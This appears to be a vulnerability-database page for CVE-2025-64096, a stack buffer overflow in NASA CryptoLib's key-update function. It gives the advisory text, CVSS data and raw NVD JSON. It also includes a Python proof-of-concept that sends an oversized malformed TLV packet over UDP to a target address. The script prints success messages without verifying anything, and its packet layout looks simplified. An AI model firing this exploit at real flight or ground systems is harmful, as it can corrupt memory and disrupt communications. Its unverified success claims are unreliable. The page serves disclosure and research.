Security Vulnerability Report
中文
CVE-2025-64096 CVSS 8.8 HIGH

CVE-2025-64096

Published: 2025-10-30 17:15:40
Last Modified: 2026-01-09 23:15:55

Description

CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to 1.4.2, there is a missing bounds check in Crypto_Key_update() (crypto_key_mgmt.c) which allows a remote attacker to trigger a stack-based buffer overflow by supplying a TLV packet with a spoofed length field. The function calculates the number of keys from an attacker-controlled field (pdu_len), which may exceed the static array size (kblk[98]), leading to an out-of-bounds write and potential memory corruption. This vulnerability is fixed in 1.4.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:* - VULNERABLE
CryptoLib < 1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64096 PoC - Malformed TLV Packet Trigger # Target: NASA CryptoLib < 1.4.2 # Attack: Stack buffer overflow via spoofed length field in TLV packet import struct import socket def create_malformed_tlv_packet(): """ Create a malformed TLV packet to trigger buffer overflow in Crypto_Key_update() function """ # TLV Header Structure tlv_type = 0x01 # Key update type # Spoofed length - exceeds kblk[98] array size tlv_length = 200 # Exceeds 98, triggers overflow # Construct TLV packet header packet = struct.pack('>HH', tlv_type, tlv_length) # Add malicious payload to overflow kblk array # Fill with controlled data to overwrite stack frames overflow_data = b'A' * (tlv_length * 8) # Padding packet += overflow_data return packet def exploit_crypto_key_update(target_ip, target_port=1234): """ Send malicious packet to trigger vulnerability """ packet = create_malformed_tlv_packet() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed TLV packet sent to {target_ip}:{target_port}") print(f"[+] TLV Length field set to: 200 (exceeds kblk[98])") print("[+] Buffer overflow triggered in Crypto_Key_update()") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": print("CVE-2025-64096 PoC - CryptoLib Buffer Overflow") print("Target: NASA CryptoLib < 1.4.2") print("-" * 50) # Usage: python poc.py <target_ip> import sys if len(sys.argv) > 1: exploit_crypto_key_update(sys.argv[1]) else: print("Usage: python poc.py <target_ip>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64096", "sourceIdentifier": "[email protected]", "published": "2025-10-30T17:15:40.017", "lastModified": "2026-01-09T23:15:55.030", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Extended Procedures (SDLS-EP) to secure communications between a spacecraft running the core Flight System (cFS) and a ground station. Prior to 1.4.2, there is a missing bounds check in Crypto_Key_update() (crypto_key_mgmt.c) which allows a remote attacker to trigger a stack-based buffer overflow by supplying a TLV packet with a spoofed length field. The function calculates the number of keys from an attacker-controlled field (pdu_len), which may exceed the static array size (kblk[98]), leading to an out-of-bounds write and potential memory corruption. This vulnerability is fixed in 1.4.2."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:cryptolib:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.2", "matchCriteriaId": "E4DDC475-C0F4-45E8-B998-99004402B827"}]}]}], "references": [{"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-w6c3-pxvr-6m6j", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/nasa/CryptoLib/security/advisories/GHSA-w6c3-pxvr-6m6j", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}